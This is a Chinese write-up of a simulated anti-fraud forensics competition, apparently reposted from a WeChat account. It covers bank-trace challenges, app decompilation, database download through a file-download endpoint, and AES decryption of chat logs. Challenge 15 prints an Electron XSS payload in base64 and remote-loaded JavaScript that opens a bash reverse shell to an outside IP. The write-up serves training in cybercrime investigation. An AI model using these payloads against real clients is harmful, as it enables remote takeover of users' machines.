写在前沿
赛事题目
1、资金初探
分析收取受害人资金的一级卡转账记录,统计其下级卡中接收受害人资金最多的账户
解题思路:根据案件报告,我们使用模拟调证平台调取 NH1782952295925185 和 NH1719788591914672 的转账记录,NH1719788591914672 转账记录中找接收到万之后的转出合计最多的账户就是答案。
2、运气爆棚
意外从其中一张银行卡6226*******6978927中找到了线索。(用重明查一下看看,也许有意想不到的收获,请以搜索结果中的涉案群组ID作为答案)
解题思路:将 6226816246156978927 放进去重明查一查:答案直接出
3、黑词大闯关
请启动下方的网站,帮助林风通过入群验证
(每次做错要重答是真气人啊啊啊) n 次尝试之后终于得到FLAG!
4、转移阵地
为了通过入群验证,林风反复试了不知多少次,终于才骂骂咧咧(当时做到这给我气笑 了,出题人你还真是会拿捏人心)地加进了这个洗钱群。分析这个二维码,以二维码包含的链接末尾路径作为答案
在线二维码解析网址:https://uutool.cn/qrcode-decode/#google_vignette
解析结果:https://scene-ktjau6icu85y8wun-appdownload-3000.zhigeng09.toolmao.com/CCYTZSNY4CL6
5、躲猫猫
分析这个APP,锁定其API接口地址的获取地址,以获取地址的TOKEN作为答案
访问第四题的地址,pc 端浏览器需要开发者模式选择手机的布局
之后直接拖进模拟器进行抓包:随便输账号密码,点击登录抓到请求包
6、新的猫
找到新的API请求地址,以地址的末尾路径作为答案
默认的接口地址是:但是返回 404https://scene-fujnsqg7evf27j13-oss-3000.zhigeng09.toolmao.com/20240710.txt?token=CIADGIEG1ZSB
观察url 发现文件名是有规律的 20240710.txt,改成 20240722.txt(当天的日期)即可
然后解析base64:得到答案 https://scene-fujnsqg7evf27j13-teleframadmin- 3000.zhigeng09.toolmao.com/?flag=03HQSVWW6XGG
7、藏起来的钥匙
解包Telefram APP,找找看有没有新的线索,比如SDK。
题目说要找 sdk 的 key,这道题我直接用大狗没有结果,之后是在摸瓜在线反编译里面查看AndroidManifest.xml 文件,
其实这里已经看到了后面题目的 aes 的加密的 key
8、拔萝卜
结合模拟调证,向星光推送的运营公司进行调证,以Telefram的开发者联系邮箱作为答案
解题思路:使用模拟调证对 appKey 直接调就能得到答案
9、开门开门
分析新的API请求地址,找到Telefram的后台访问地址并获取登录权限。
https://scene-nqzoxh39m7x6xsxj-teleframadmin- 3000.zhigeng09.toolmao.com/?flag=03HQSVWW6XGG登录账号是:wpvisnbi 密码是:13860281270
10、人真不少
聊天用户中最后登录IP为67.98.23.12的聊天用户数量
这道题我的做法是:抓包做爬虫,代码如下:
import requests
headers = {
'Host': 'scene-xsd7dbfj3xfdbtbp-teleframadmin-3000.zhigeng08.toolmao.com', 'Accept': 'application/json, text/plain, */*',
'Sec-Ch-Ua-Mobile': '?0', 'Authorization': 'Bearer
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VySWQiOjMsInVzZXJuYW1lIjoid3B2aXNuYmki LCJhY2Nlc3MiOiJ1c2VyIiwiaWF0IjoxNzIxMDMwOTExLCJleHAiOjE3MjEwNDI5MTF9.h_J3Z8Ml B1owipEspE2nrkF8tRxo5asMZfFVLRLg_z0',
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.5790.171 Safari/537.36',
'Sec-Ch-Ua-Platform': '""', 'Sec-Fetch-Site': 'same-origin', 'Sec-Fetch-Mode': 'cors',
'Sec-Fetch-Dest': 'empty',
'Referer': 'https://scene-xsd7dbfj3xfdbtbp-teleframadmin- 3000.zhigeng08.toolmao.com/chatUsers',
# 'Accept-Encoding': 'gzip, deflate', 'Accept-Language': 'zh-CN,zh;q=0.9', 'Connection': 'close',
}
for i in range(1,251): params = {
'current': f'{i}',
'pageSize': '100',
}
response = requests.get(
'https://scene-xsd7dbfj3xfdbtbp-teleframadmin- 3000.zhigeng08.toolmao.com/api/chater/list',
params=params, headers=headers, verify=False,
)
print(111) print(response.text) file_path = "output.txt"
with open(file_path, 'a') as file: file.write(response.text) file.write('n')
然后在 output.txt 中查 67.98.23.12,数量是 847 个(温馨提示:每个人的数量生成不一样的)
11、数据拖拉机
帮林风找到办法获取聊天消息内容,以聊天消息中的FLAG作为答案
第一步是从网页中获取文件下载的接口:/api/download?filePath= 我使用的是:findsometing 插件
进行数据库备份
下载数据库文件,路径拼接为:/api/download?filePath=/backups/backup- 1721033195446.sql 要用bp 抓包改包添加 cookie 进去,放那个包才能下载,不然会403,将 sql 文件恢复到数据库中
导出 messege 表的 messege 列为 txt,在之前下载的 apk 软件中,反编译之后搜索 decrypt:找到解密函数:
public final String getContent(Context context) {
Intrinsics.checkNotNullParameter(context, "context");
return AesUtils.Companion.decrypt(context, this.encodeContent);
}
public final String decrypt(Context context, String encodeContent) {
Intrinsics.checkNotNullParameter(context, "context");
Intrinsics.checkNotNullParameter(encodeContent, "encodeContent");
String key = getKey(context);
String substring = key.substring(0, 16);
Intrinsics.checkNotNullExpressionValue(substring, "substring(...)");
byte[] bytes = substring.getBytes(Charsets.UTF_8);
Intrinsics.checkNotNullExpressionValue(bytes, "getBytes(...)");
String substring2 = key.substring(16, key.length());
Intrinsics.checkNotNullExpressionValue(substring2, "substring(...)");
byte[] bytes2 = substring2.getBytes(Charsets.UTF_8);
Intrinsics.checkNotNullExpressionValue(bytes2, "getBytes(...)");
IvParameterSpec ivParameterSpec = new IvParameterSpec(bytes2);
Cipher cipher = Cipher.getInstance("AES/CBC/PKCS5PADDING");
cipher.init(2, new SecretKeySpec(bytes, "AES"), ivParameterSpec);
byte[] doFinal = cipher.doFinal(Base64.getDecoder().decode(encodeContent));
Intrinsics.checkNotNull(doFinal);
return new String(doFinal, Charsets.UTF_8);
转换成 python 代码进行解密:
import base64
from Crypto.Cipher import AES
from Crypto.Util.Padding import unpad
def get_key(context):
return "4JQVC6Y3DNICA8NYBVKFLQQG0E6J89UT"
def decrypt(context, encode_content): key = get_key(context)
substring = key[:16]
bytes_key = substring.encode('utf-8') substring2 = key[16:]
bytes_iv = substring2.encode('utf-8')
cipher = AES.new(bytes_key, AES.MODE_CBC, iv=bytes_iv) decoded_data = base64.b64decode(encode_content)
decrypted_data = unpad(cipher.decrypt(decoded_data), AES.block_size)
return decrypted_data.decode('utf-8') with open('ciphers.txt', 'r') as file:
# 逐行读取文件内容并保存到列表中lines = file.readlines()
# 打印列表内容for line in lines:
print(line.strip()) for i in lines:
encode_content = f"{i}" print(decrypt(context, encode_content))
key 的值从 AndroidManifest.xml 获取 4JQVC6Y3DNICA8NYBVKFLQQG0E6J89UT
解密结果:C:UsersJianMuAppDataLocalProgramsPythonPython39python.exe C:UsersJianMuDesktop第十一题.py
大家都到齐了吗?我们今天要讨论新的项目。FLAG:7WEK896SXTKXZXCQ
12、动物乐园
分析该群聊中的各个角色身份,锁定承担财务和洗钱职责的人员的用户名。
根据解密之后的聊天记录得到 chaterid,再去找到对应的用户名为 NZGM3125
13、黑蛇白了
根据最新的群内消息,判断黑蛇死亡地所在市和区的名称
是的,新闻上有照片,我确认是他。我现在把照片发给大家。image://uploads/7azgKgaQfto55VWnaR.png
这个地址拼接到文件下载的 api 中下载到图片:
我的做法是截取图片的沃尔玛部分然后放进百度的以图搜图中:(当然走了很多弯路,exif啥的)
地址:武汉市江夏区万豪世纪天街
14、秘上加谜
分析查找镜像内容中的可能线索。
┌──(kali㉿kali)-[~]
└─$ binwalk /home/kali/Desktop/2024-07-19.jpg
size: 18, uncompressed size: 16, name: file.txt
187884 0x2DDEC End of Zip archive, footer length: 22
┌──(kali㉿kali)-[~]
└─$ binwalk -e /home/kali/Desktop/2024-07-19.jpg
size: 18, uncompressed size: 16, name: file.txt
187884 0x2DDEC End of Zip archive, footer length: 22
15、悄悄潜入
尝试登录黑蛇的聊天软件,通过静默的方式获取浣熊的聊天客户端权限
解题过程:本题的考点是通过 electron 的 xss 漏洞到 rce 进而获取控制权限
由于本人也是第一次接触electron 框架的应用端漏洞,首先是识别应用程序名称,类似识别 web 的 cms,
通过图标识别:
通过lincence 识别:
识别漏洞之后寻找漏洞利用 exp:
找到一个教程:https://mp.weixin.qq.com/s/wiT_Jh311FMdzqNb9AozWw
思路很明确,先找到 xss 注入点:
登陆上客户端,经过查看发现不能在群组或私聊中发送信息,因为此时黑蛇的设定是已经死掉了,发送消息意味着侦查暴露,所以只能在找他处进行 xss
经过测试,发现在修改用户名处可能存在 xss: 正常改名:
插入标签:报昵称不合法
说明 script 标签被过滤了,继续测试其他标签,发现只有 object 标签没有被过滤:
验证 xss 代码是否被执行:
<object data="data:text/html;base64,PHNjcmlwdCBzcmM9Imh0dHBzOi8vZTkzbHU2LmRuc2xvZy5jbi I+PC9zY3JpcHQ+"></object>
可以看到 xss 代码被执行了
<object data="data:text/html;base64,PGltZyBzcmM9IjEuanBnIiBvbmVycm9yPSJyZXF1aXJlKCJjaGlsZF 9wcm9jZXNzIikuZXhlYygnYmFzaCAtYyAiL2Jpbi9iYXNoIC1pID4mL2Rldi90Y3AvMTE5LjkxLjEx NS4xNTkvNTY3OCAwPiYxIik7Jz4K"></object>
字符限制 200,考虑远程加载js 执行,要执行的js:<script src=”http://x.x.x.x:8888/aaa.js”></script>
Xss 载荷:
<object data="data:text/html;base64, <script src="http://x.x.x.x:8888/aaa.js"></script>
的 base64 编码”></object> aaa.js 的 Exp 如下:
this.parent.chatClientApi.execCommand(1818, 'bash -c "/bin/bash - i >&/dev/tcp/x.x.x.x/5678 0>&1"')
在自己服务器上开 http 传输文件:
在自己服务器上开 nc 监听端口:
修改用户名注入远程加载 js 的 xss:
成功下载js:
成功反向 shell:
在 apiconfig.js 里面找到本题答案:
16、谁是凶手
所有的案件信息都已提供,请找到本案中的所有嫌疑人的身份证号码作为答案
第一个:在浣熊的电脑里面/home/boss 找到一下文件:sfz.png:
Base64 拿回:
cat sfz.png | base64
利用在线 base64 转图片工具:https://www.uutils.com/image/base64_to_image.htm
第二个:在 juanzong.docx 文件(本题问的是嫌疑人,可能所有有嫌疑的身份证都可以试一试)
第三个:王吉,考虑到是题干中王吉是涉案的互联网公司的员工,且每次提供的线索也太准确了,不同寻常
查看题干:
有理由怀疑,但现有证据还上不了王吉的强制措施。。。
点击下载
原文始发于微信公众号(无糖反网络犯罪研究中心):复盘第五期 |突破15/16题的关键,解题技巧倾囊相授-简慕